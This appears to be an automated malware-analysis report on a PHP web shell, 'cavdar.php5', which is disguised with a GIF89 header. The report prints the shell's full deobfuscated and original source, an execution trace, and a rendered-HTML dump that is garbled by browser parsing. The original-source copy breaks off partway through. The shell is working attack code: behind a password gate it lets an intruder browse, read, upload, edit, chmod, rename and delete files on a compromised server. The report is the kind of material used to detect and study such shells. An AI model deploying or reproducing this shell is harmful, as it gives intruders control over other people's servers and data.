PHP Malware Analysis

cavdar.php5

md5: ca082a0ce1e6e16e9c42874be9fcbb23

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Deobfuscated PHP code

GIF89;A
<?php 
error_reporting(0);
set_time_limit(0);
@session_start();
@set_time_limit(0);
if (isset($v) and $v == 0 or isset($t) and $t == false) {
    die('');
}
$create_password = true;
$password = "";
$pass = $_POST['pass'];
if ($pass == $password) {
    $_SESSION['nst'] = "{$pass}";
}
if ($create_password == true) {
    if (!isset($_SESSION['nst']) or $_SESSION['nst'] != $password) {
        die("\n<title>B0RU70</title> <br><br><br><br><br><br><br><center><body background=white<table width=1 bgcolor=#FFFFFF><tr><td><font size=2 face=verdana><center><b></font></a><br></b></center><form method=post><font size=1 face=verdana color=red><strong><center><br>Sisteme girmek icin sifreyi yaz</center></strong><br><input type=password name=pass size=10></form><br><br>cavdar59 my best frnd.<br>\n</td></tr></table>\n");
    }
}
if (get_magic_quotes_gpc()) {
    foreach ($_POST as $key => $value) {
        $_POST[$key] = stripslashes($value);
    }
}
echo "<!DOCTYPE HTML>\n<HTML>\n<HEAD>\n<title></title>\n<style>\n\n\nbody{\n    font-family: \"Typesenses\", cursive;\n    text-shadow:text-shadow:black 2px 0px 12px; color:#6A0888;\n}\n\n#content tr:hover{\n    background-color: #FFBF00;\n    color:#6A0888;\n}\n#content .first{\n    background-color: #FFBF00;\n}\n#content .first:hover{\n    background-color:  #FFBF00;\n    color:#6A0888;\n}\ntable{\n    border: 1px #FEFEFE dotted;\n}\nH1{\n    font-family: \"Typesenses\", cursive;\n}\na{\n    color: black;\n    text-decoration: none;\n}\na:hover{\n    color: black;\n    color:black;\n}\n\n\ninput,select,textarea{\n    border: 1px #000000 solid;\n    -moz-border-radius: 5px;\n    -webkit-border-radius:5px;\n    border-radius:5px;\n}\n</style>\n</HEAD>\n<BODY>\n<table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n<tr><td>Bulundu&#287;un Yer : ";
if (isset($_GET['path'])) {
    $path = base64_decode($_GET['path']);
} else {
    $path = getcwd();
}
$pathen = base64_encode($path);
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach ($paths as $id => $pat) {
    if ($pat == '' && $id == 0) {
        $a = true;
        echo '<a href="?path=' . base64_encode("/") . '">/</a>';
        continue;
    }
    if ($pat == '') {
        continue;
    }
    echo "<a href=\"?path=";
    $linkpath = '';
    for ($i = 0; $i <= $id; $i++) {
        $linkpath .= "{$paths[$i]}";
        if ($i != $id) {
            $linkpath .= "/";
        }
    }
    echo base64_encode($linkpath);
    echo '">' . $pat . '</a>/';
}
echo "</td></tr><tr><td>";
if (isset($_FILES['file'])) {
    if (copy($_FILES['file']['tmp_name'], $path . '/' . $_FILES['file']['name'])) {
        echo "<font color=\"green\">Dosya Upload Edildi</font><br />";
    } else {
        echo "<font color=\"yellow\">Dosya Upload Edilemedi :(</font><br />";
    }
}
echo "<form enctype=\"multipart/form-data\" method=\"POST\">\nDosya Upload : <input type=\"file\" name=\"file\" />\n<input type=\"submit\" value=\"upload\" />\n</form>\n</td></tr>";
if (isset($_GET['filesrc'])) {
    echo "<tr><td>Bulundu&#287;un Dosya : ";
    echo base64_decode($_GET['filesrc']);
    echo "</tr></td></table><br />";
    echo '<pre>' . htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))) . '</pre>';
} elseif (isset($_GET['option']) && $_POST['opt'] != 'delete') {
    echo '</table><br /><center>' . $_POST['path'] . '<br /><br />';
    if ($_POST['opt'] == 'chmod') {
        if (isset($_POST['perm'])) {
            if (chmod($_POST['path'], $_POST['perm'])) {
                echo "<font color=\"green\">&#304;zinler De&#287;i&#351;tirildi</font><br />";
            } else {
                echo "<font color=\"yellow\">&#304;zinler De&#287;i&#351;tirilemedi :(</font><br />";
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="' . substr(sprintf('%o', fileperms($_POST['path'])), -4) . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    } elseif ($_POST['opt'] == 'rename') {
        if (isset($_POST['newname'])) {
            if (rename($_POST['path'], $path . '/' . $_POST['newname'])) {
                echo "<font color=\"green\">Ad De&#287;i&#351;tirme Ba&#351;ar&#305;l&#305;</font><br />";
            } else {
                echo "<font color=\"red\">Ad De&#287;i&#351;tirilemedi :(</font><br />";
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="' . $_POST['name'] . '" />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    } elseif ($_POST['opt'] == 'edit') {
        if (isset($_POST['src'])) {
            $fp = fopen($_POST['path'], 'w');
            if (fwrite($fp, $_POST['src'])) {
                echo "<font color=\"green\">D&#252;zenleme Ba&#351;ar&#305;l&#305;</font><br />";
            } else {
                echo "<font color=\"red\">D&#252;zenleme Ba&#351;ar&#305;s&#305;z :/</font><br />";
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">' . htmlspecialchars(file_get_contents($_POST['path'])) . '</textarea><br />
        <input type="hidden" name="path" value="' . $_POST['path'] . '">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo "</center>";
} else {
    echo "</table><br /><center>";
    if (isset($_GET['option']) && $_POST['opt'] == 'delete') {
        if ($_POST['type'] == 'dir') {
            if (rmdir($_POST['path'])) {
                echo "<font color=\"green\">Dosya Silindi</font><br />";
            } else {
                echo "<font color=\"red\">Dosya Silinemedi :/</font><br />";
            }
        } elseif ($_POST['type'] == 'file') {
            if (unlink($_POST['path'])) {
                echo "<font color=\"green\">Dosya Silindi</font><br />";
            } else {
                echo "<font color=\"red\">Dosya Silinemedi :/</font><br />";
            }
        }
    }
    echo "</center>";
    $scandir = scandir($path);
    echo "<div id=\"content\"><table width=\"700\" border=\"0\" cellpadding=\"3\" cellspacing=\"1\" align=\"center\">\n    <tr class=\"first\">\n        <td><center>Ad&#305;</center></td>\n        <td><center>Boyut</center></td>\n        <td><center>&#304;zinler</center></td>\n        <td><center>Se&#231;enekler</center></td>\n    </tr>";
    foreach ($scandir as $dir) {
        if (!is_dir("{$path}/{$dir}") || $dir == '.' || $dir == '..') {
            continue;
        }
        $dirlink = base64_encode("{$path}/{$dir}");
        echo "<tr>\n        <td><a href=\"?path={$dirlink}\">{$dir}</a></td>\n        <td><center>--</center></td>\n        <td><center>";
        if (is_writable("{$path}/{$dir}")) {
            echo "<font color=\"green\">";
        } elseif (!is_readable("{$path}/{$dir}")) {
            echo "<font color=\"yellow\">";
        }
        echo perms("{$path}/{$dir}");
        if (is_writable("{$path}/{$dir}") || !is_readable("{$path}/{$dir}")) {
            echo "</font>";
        }
        echo "</center></td>\n        <td><center><form method=\"POST\" action=\"?option&path={$pathen}\">\n        <select name=\"opt\">\n\t    <option value=\"\"></option>\n        <option value=\"delete\">Sil</option>\n        <option value=\"chmod\">&#304;zinler</option>\n        <option value=\"rename\">Yeniden Adland&#305;r</option>\n        </select>\n        <input type=\"hidden\" name=\"type\" value=\"dir\">\n        <input type=\"hidden\" name=\"name\" value=\"{$dir}\">\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$dir}\">\n        <input type=\"submit\" value=\">\" />\n        </form></center></td>\n        </tr>";
    }
    echo "<tr class=\"first\"><td></td><td></td><td></td><td></td></tr>";
    foreach ($scandir as $file) {
        if (!is_file("{$path}/{$file}")) {
            continue;
        }
        $size = filesize("{$path}/{$file}") / 1024;
        $size = round($size, 3);
        if ($size >= 1024) {
            $size = round($size / 1024, 2) . ' MB';
        } else {
            $size .= ' KB';
        }
        $filelink = base64_encode("{$path}/{$file}");
        echo "<tr>\n        <td><a href=\"?filesrc={$filelink}&path={$pathen}\">{$file}</a></td>\n        <td><center>" . $size . "</center></td>\n        <td><center>";
        if (is_writable("{$path}/{$file}")) {
            echo "<font color=\"green\">";
        } elseif (!is_readable("{$path}/{$file}")) {
            echo "<font color=\"yellow\">";
        }
        echo perms("{$path}/{$file}");
        if (is_writable("{$path}/{$file}") || !is_readable("{$path}/{$file}")) {
            echo "</font>";
        }
        echo "</center></td>\n        <td><center><form method=\"POST\" action=\"?option&path={$pathen}\">\n        <select name=\"opt\">\n\t    <option value=\"\"></option>\n        <option value=\"delete\">Sil</option>\n        <option value=\"chmod\">&#304;zinler</option>\n        <option value=\"rename\">Yeniden Adland&#305;r</option>\n        <option value=\"edit\">D&#252;zenle</option>\n        </select>\n        <input type=\"hidden\" name=\"type\" value=\"file\">\n        <input type=\"hidden\" name=\"name\" value=\"{$file}\">\n        <input type=\"hidden\" name=\"path\" value=\"{$path}/{$file}\">\n        <input type=\"submit\" value=\">\" />\n        </form></center></td>\n        </tr>";
    }
    echo "</table>\n    </div>";
}
echo "\n</BODY>\n</HTML>";
function perms($file)
{
    $perms = @fileperms($file);
    if (($perms & 0xc000) == 0xc000) {
        // Socket
        $info = 's';
    } elseif (($perms & 0xa000) == 0xa000) {
        // Symbolic Link
        $info = 'l';
    } elseif (($perms & 0x8000) == 0x8000) {
        // Regular
        $info = '-';
    } elseif (($perms & 0x6000) == 0x6000) {
        // Block special
        $info = 'b';
    } elseif (($perms & 0x4000) == 0x4000) {
        // Directory
        $info = 'd';
    } elseif (($perms & 0x2000) == 0x2000) {
        // Character special
        $info = 'c';
    } elseif (($perms & 0x1000) == 0x1000) {
        // FIFO pipe
        $info = 'p';
    } else {
        // Unknown
        $info = 'u';
    }
    // Owner
    $info .= $perms & 0x100 ? 'r' : '-';
    $info .= $perms & 0x80 ? 'w' : '-';
    $info .= $perms & 0x40 ? $perms & 0x800 ? 's' : 'x' : ($perms & 0x800 ? 'S' : '-');
    // Group
    $info .= $perms & 0x20 ? 'r' : '-';
    $info .= $perms & 0x10 ? 'w' : '-';
    $info .= $perms & 0x8 ? $perms & 0x400 ? 's' : 'x' : ($perms & 0x400 ? 'S' : '-');
    // World
    $info .= $perms & 0x4 ? 'r' : '-';
    $info .= $perms & 0x2 ? 'w' : '-';
    $info .= $perms & 0x1 ? $perms & 0x200 ? 't' : 'x' : ($perms & 0x200 ? 'T' : '-');
    return $info;
}
?>


Execution traces

data/traces/ca082a0ce1e6e16e9c42874be9fcbb23_trace-1676252817.3033.xt
Version: 3.1.0beta2
File format: 4
TRACE START [2023-02-12 23:47:23.201167]
1	0	1	0.000176	393528
1	3	0	0.000251	405344	{main}	1		/var/www/html/uploads/cavdar.php5	0	0
1	3	1	0.000417	413648
			0.000443	314240
TRACE END   [2023-02-12 23:47:23.201473]


Generated HTML code

<html><head></head><body background="white<table" width="1" bgcolor="#FFFFFF">GIF89;A
<!--?
error_reporting(0);
set_time_limit(0);
@session_start();
@set_time_limit(0);
if((isset($v) AND $v==0) OR (isset($t) AND $t==false)){
die('');
}
$create_password = true;
$password = "";
$pass=$_POST['pass'];
if($pass==$password){
$_SESSION['nst']="$pass";
}
if($create_password==true){
if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password)
{
die("
<title-->B0RU70 <br><br><br><br><br><br><br><center><font size="2" face="verdana"></font><center><font size="2" face="verdana"><b></b></font><b><br></b></center><form method="post"><font size="1" face="verdana" color="red"><strong><center><br>Sisteme girmek icin sifreyi yaz</center></strong><br><input type="password" name="pass" size="10"><br><br>cavdar59 my best frnd.<br>

");}
}

if(get_magic_quotes_gpc()){
    foreach($_POST as $key=&gt;$value){
        $_POST[$key] = stripslashes($value);
    }
}

echo '


<title></title>
<style>


body{
    font-family: "Typesenses", cursive;
    text-shadow:text-shadow:black 2px 0px 12px; color:#6A0888;
}

#content tr:hover{
    background-color: #FFBF00;
    color:#6A0888;
}
#content .first{
    background-color: #FFBF00;
}
#content .first:hover{
    background-color:  #FFBF00;
    color:#6A0888;
}
table{
    border: 1px #FEFEFE dotted;
}
H1{
    font-family: "Typesenses", cursive;
}
a{
    color: black;
    text-decoration: none;
}
a:hover{
    color: black;
    color:black;
}


input,select,textarea{
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>


';
if(isset($_GET['filesrc'])){
    echo "<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tbody><tr><td>Bulunduğun Yer : ';
if(isset($_GET['path'])){
    $path = base64_decode($_GET['path']);
}else{
    $path = getcwd();
}
$pathen = base64_encode($path);
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=&gt;$pat){
    if($pat == '' &amp;&amp; $id == 0){
        $a = true;
        echo '<a href="?path='.base64_encode(" ").'"="">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?path=';
    $linkpath = '';
    for($i=0;$i<=$id;$i++){
        $linkpath .= " $paths[$i]";="" if($i="" !="$id)" $linkpath="" .="/" ;="" }="" echo="" base64_encode($linkpath);="" '"="">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
        echo '<font color="green">Dosya Upload Edildi</font><br>';
    }else{
        echo '<font color="yellow">Dosya Upload Edilemedi :(</font><br>';
    }
}
echo '<form enctype="multipart/form-data" method="POST">
Dosya Upload : <input type="file" name="file">
<input type="submit" value="upload">
</form>
</td></tr><tr><td>Bulunduğun Dosya : ";
    echo base64_decode($_GET['filesrc']);
    echo '</td></tr></tbody></table><br>';
    echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
}elseif(isset($_GET['option']) &amp;&amp; $_POST['opt'] != 'delete'){
    echo '<br><center>'.$_POST['path'].'<br><br>';
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo '<font color="green">İzinler Değiştirildi</font><br>';
            }else{
                echo '<font color="yellow">İzinler Değiştirilemedi :(</font><br>';
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'">
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go">
        </form>';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo '<font color="green">Ad Değiştirme Başarılı</font><br>';
            }else{
                echo '<font color="red">Ad Değiştirilemedi :(</font><br>';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'">
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go">
        </form>';
    }elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<font color="green">Düzenleme Başarılı</font><br>';
            }else{
                echo '<font color="red">Düzenleme Başarısız :/</font><br>';
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols="80" rows="20" name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br>
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go">
        </form>';
    }
    echo '</center>';
}else{
    echo '<br><center>';
    if(isset($_GET['option']) &amp;&amp; $_POST['opt'] == 'delete'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<font color="green">Dosya Silindi</font><br>';
            }else{
                echo '<font color="red">Dosya Silinemedi :/</font><br>';
            }
        }elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo '<font color="green">Dosya Silindi</font><br>';
            }else{
                echo '<font color="red">Dosya Silinemedi :/</font><br>';
            }
        }
    }
    echo '</center>';
    $scandir = scandir($path);
    echo '<div id="content">';

    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        $dirlink = base64_encode("$path/$dir");
        echo "";
    }
    echo '';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size &gt;= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }
        $filelink = base64_encode("$path/$file");
        echo "";
    }
    echo '<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tbody><tr class="first">
        <td><center>Adı</center></td>
        <td><center>Boyut</center></td>
        <td><center>İzinler</center></td>
        <td><center>Seçenekler</center></td>
    </tr><tr>
        <td><a href="\&quot;?path=$dirlink\&quot;">$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo '<font color="green">';
        elseif(!is_readable("$path/$dir")) echo '<font color="yellow">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
        
        echo "</font></center></td>
        <td><center><form method="\&quot;POST\&quot;" action="\&quot;?option&amp;path=$pathen\&quot;">
        <select name="\&quot;opt\&quot;">
	    <option value="\&quot;\&quot;"></option>
        <option value="\&quot;delete\&quot;">Sil</option>
        <option value="\&quot;chmod\&quot;">İzinler</option>
        <option value="\&quot;rename\&quot;">Yeniden Adlandır</option>
        </select>
        <input type="\&quot;hidden\&quot;" name="\&quot;type\&quot;" value="\&quot;dir\&quot;">
        <input type="\&quot;hidden\&quot;" name="\&quot;name\&quot;" value="\&quot;$dir\&quot;">
        <input type="\&quot;hidden\&quot;" name="\&quot;path\&quot;" value="\&quot;$path/$dir\&quot;">
        <input type="\&quot;submit\&quot;" value="\&quot;">\" /&gt;
        </form></center></td>
        </tr><tr class="first"><td></td><td></td><td></td><td></td></tr><tr>
        <td><a href="\&quot;?filesrc=$filelink&amp;path=$pathen\&quot;">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="yellow">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</font></center></td>
        <td><center><form method="\&quot;POST\&quot;" action="\&quot;?option&amp;path=$pathen\&quot;">
        <select name="\&quot;opt\&quot;">
	    <option value="\&quot;\&quot;"></option>
        <option value="\&quot;delete\&quot;">Sil</option>
        <option value="\&quot;chmod\&quot;">İzinler</option>
        <option value="\&quot;rename\&quot;">Yeniden Adlandır</option>
        <option value="\&quot;edit\&quot;">Düzenle</option>
        </select>
        <input type="\&quot;hidden\&quot;" name="\&quot;type\&quot;" value="\&quot;file\&quot;">
        <input type="\&quot;hidden\&quot;" name="\&quot;name\&quot;" value="\&quot;$file\&quot;">
        <input type="\&quot;hidden\&quot;" name="\&quot;path\&quot;" value="\&quot;$path/$file\&quot;">
        <input type="\&quot;submit\&quot;" value="\&quot;">\" /&gt;
        </form></center></td>
        </tr></tbody></table>
    </div>';
}
echo '

';
function perms($file){
    $perms = @fileperms($file);

if (($perms &amp; 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms &amp; 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms &amp; 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms &amp; 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms &amp; 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms &amp; 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms &amp; 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms &amp; 0x0100) ? 'r' : '-');
$info .= (($perms &amp; 0x0080) ? 'w' : '-');
$info .= (($perms &amp; 0x0040) ?
            (($perms &amp; 0x0800) ? 's' : 'x' ) :
            (($perms &amp; 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms &amp; 0x0020) ? 'r' : '-');
$info .= (($perms &amp; 0x0010) ? 'w' : '-');
$info .= (($perms &amp; 0x0008) ?
            (($perms &amp; 0x0400) ? 's' : 'x' ) :
            (($perms &amp; 0x0400) ? 'S' : '-'));

// World
$info .= (($perms &amp; 0x0004) ? 'r' : '-');
$info .= (($perms &amp; 0x0002) ? 'w' : '-');
$info .= (($perms &amp; 0x0001) ?
            (($perms &amp; 0x0200) ? 't' : 'x' ) :
            (($perms &amp; 0x0200) ? 'T' : '-'));

    return $info;
}
?&gt;

</font></form></center></body></html>

Original PHP code

GIF89;A
<?
error_reporting(0);
set_time_limit(0);
@session_start();
@set_time_limit(0);
if((isset($v) AND $v==0) OR (isset($t) AND $t==false)){
die('');
}
$create_password = true;
$password = "";
$pass=$_POST['pass'];
if($pass==$password){
$_SESSION['nst']="$pass";
}
if($create_password==true){
if(!isset($_SESSION['nst']) or $_SESSION['nst']!=$password)
{
die("
<title>B0RU70</title> <br><br><br><br><br><br><br><center><body background=white<table width=1 bgcolor=#FFFFFF><tr><td><font size=2 face=verdana><center><b></font></a><br></b></center><form method=post><font size=1 face=verdana color=red><strong><center><br>Sisteme girmek icin sifreyi yaz</center></strong><br><input type=password name=pass size=10></form><br><br>cavdar59 my best frnd.<br>
</td></tr></table>
");}
}

if(get_magic_quotes_gpc()){
    foreach($_POST as $key=>$value){
        $_POST[$key] = stripslashes($value);
    }
}

echo '<!DOCTYPE HTML>
<HTML>
<HEAD>
<title></title>
<style>


body{
    font-family: "Typesenses", cursive;
    text-shadow:text-shadow:black 2px 0px 12px; color:#6A0888;
}

#content tr:hover{
    background-color: #FFBF00;
    color:#6A0888;
}
#content .first{
    background-color: #FFBF00;
}
#content .first:hover{
    background-color:  #FFBF00;
    color:#6A0888;
}
table{
    border: 1px #FEFEFE dotted;
}
H1{
    font-family: "Typesenses", cursive;
}
a{
    color: black;
    text-decoration: none;
}
a:hover{
    color: black;
    color:black;
}


input,select,textarea{
    border: 1px #000000 solid;
    -moz-border-radius: 5px;
    -webkit-border-radius:5px;
    border-radius:5px;
}
</style>
</HEAD>
<BODY>
<table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Bulundu&#287;un Yer : ';
if(isset($_GET['path'])){
    $path = base64_decode($_GET['path']);
}else{
    $path = getcwd();
}
$pathen = base64_encode($path);
$path = str_replace('\\','/',$path);
$paths = explode('/',$path);

foreach($paths as $id=>$pat){
    if($pat == '' && $id == 0){
        $a = true;
        echo '<a href="?path='.base64_encode("/").'">/</a>';
        continue;
    }
    if($pat == '') continue;
    echo '<a href="?path=';
    $linkpath = '';
    for($i=0;$i<=$id;$i++){
        $linkpath .= "$paths[$i]";
        if($i != $id) $linkpath .= "/";
    }
    echo base64_encode($linkpath);
    echo '">'.$pat.'</a>/';
}
echo '</td></tr><tr><td>';
if(isset($_FILES['file'])){
    if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
        echo '<font color="green">Dosya Upload Edildi</font><br />';
    }else{
        echo '<font color="yellow">Dosya Upload Edilemedi :(</font><br />';
    }
}
echo '<form enctype="multipart/form-data" method="POST">
Dosya Upload : <input type="file" name="file" />
<input type="submit" value="upload" />
</form>
</td></tr>';
if(isset($_GET['filesrc'])){
    echo "<tr><td>Bulundu&#287;un Dosya : ";
    echo base64_decode($_GET['filesrc']);
    echo '</tr></td></table><br />';
    echo('<pre>'.htmlspecialchars(file_get_contents(base64_decode($_GET['filesrc']))).'</pre>');
}elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
    echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
    if($_POST['opt'] == 'chmod'){
        if(isset($_POST['perm'])){
            if(chmod($_POST['path'],$_POST['perm'])){
                echo '<font color="green">&#304;zinler De&#287;i&#351;tirildi</font><br />';
            }else{
                echo '<font color="yellow">&#304;zinler De&#287;i&#351;tirilemedi :(</font><br />';
            }
        }
        echo '<form method="POST">
        Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="chmod">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'rename'){
        if(isset($_POST['newname'])){
            if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
                echo '<font color="green">Ad De&#287;i&#351;tirme Ba&#351;ar&#305;l&#305;</font><br />';
            }else{
                echo '<font color="red">Ad De&#287;i&#351;tirilemedi :(</font><br />';
            }
            $_POST['name'] = $_POST['newname'];
        }
        echo '<form method="POST">
        New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="rename">
        <input type="submit" value="Go" />
        </form>';
    }elseif($_POST['opt'] == 'edit'){
        if(isset($_POST['src'])){
            $fp = fopen($_POST['path'],'w');
            if(fwrite($fp,$_POST['src'])){
                echo '<font color="green">D&#252;zenleme Ba&#351;ar&#305;l&#305;</font><br />';
            }else{
                echo '<font color="red">D&#252;zenleme Ba&#351;ar&#305;s&#305;z :/</font><br />';
            }
            fclose($fp);
        }
        echo '<form method="POST">
        <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
        <input type="hidden" name="path" value="'.$_POST['path'].'">
        <input type="hidden" name="opt" value="edit">
        <input type="submit" value="Go" />
        </form>';
    }
    echo '</center>';
}else{
    echo '</table><br /><center>';
    if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
        if($_POST['type'] == 'dir'){
            if(rmdir($_POST['path'])){
                echo '<font color="green">Dosya Silindi</font><br />';
            }else{
                echo '<font color="red">Dosya Silinemedi :/</font><br />';
            }
        }elseif($_POST['type'] == 'file'){
            if(unlink($_POST['path'])){
                echo '<font color="green">Dosya Silindi</font><br />';
            }else{
                echo '<font color="red">Dosya Silinemedi :/</font><br />';
            }
        }
    }
    echo '</center>';
    $scandir = scandir($path);
    echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
    <tr class="first">
        <td><center>Ad&#305;</center></td>
        <td><center>Boyut</center></td>
        <td><center>&#304;zinler</center></td>
        <td><center>Se&#231;enekler</center></td>
    </tr>';

    foreach($scandir as $dir){
        if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
        $dirlink = base64_encode("$path/$dir");
        echo "<tr>
        <td><a href=\"?path=$dirlink\">$dir</a></td>
        <td><center>--</center></td>
        <td><center>";
        if(is_writable("$path/$dir")) echo '<font color="green">';
        elseif(!is_readable("$path/$dir")) echo '<font color="yellow">';
        echo perms("$path/$dir");
        if(is_writable("$path/$dir") || !is_readable("$path/$dir")) echo '</font>';
        
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Sil</option>
        <option value=\"chmod\">&#304;zinler</option>
        <option value=\"rename\">Yeniden Adland&#305;r</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"dir\">
        <input type=\"hidden\" name=\"name\" value=\"$dir\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$dir\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
    foreach($scandir as $file){
        if(!is_file("$path/$file")) continue;
        $size = filesize("$path/$file")/1024;
        $size = round($size,3);
        if($size >= 1024){
            $size = round($size/1024,2).' MB';
        }else{
            $size = $size.' KB';
        }
        $filelink = base64_encode("$path/$file");
        echo "<tr>
        <td><a href=\"?filesrc=$filelink&path=$pathen\">$file</a></td>
        <td><center>".$size."</center></td>
        <td><center>";
        if(is_writable("$path/$file")) echo '<font color="green">';
        elseif(!is_readable("$path/$file")) echo '<font color="yellow">';
        echo perms("$path/$file");
        if(is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
        echo "</center></td>
        <td><center><form method=\"POST\" action=\"?option&path=$pathen\">
        <select name=\"opt\">
	    <option value=\"\"></option>
        <option value=\"delete\">Sil</option>
        <option value=\"chmod\">&#304;zinler</option>
        <option value=\"rename\">Yeniden Adland&#305;r</option>
        <option value=\"edit\">D&#252;zenle</option>
        </select>
        <input type=\"hidden\" name=\"type\" value=\"file\">
        <input type=\"hidden\" name=\"name\" value=\"$file\">
        <input type=\"hidden\" name=\"path\" value=\"$path/$file\">
        <input type=\"submit\" value=\">\" />
        </form></center></td>
        </tr>";
    }
    echo '</table>
    </div>';
}
echo '
</BODY>
</HTML>';
function perms($file){
    $perms = @fileperms($file);

if (($perms & 0xC000) == 0xC000) {
    // Socket
    $info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
    // Symbolic Link
    $info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
    // Block special
    $info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
    // Directory
    $info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
    // Character special
    $info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
    // FIFO pipe
    $info = 'p';
} else {
    // Unknown
    $info = 'u';
}

// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
            (($perms & 0x0800) ? 's' : 'x' ) :
            (($perms & 0x0800) ? 'S' : '-'));

// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
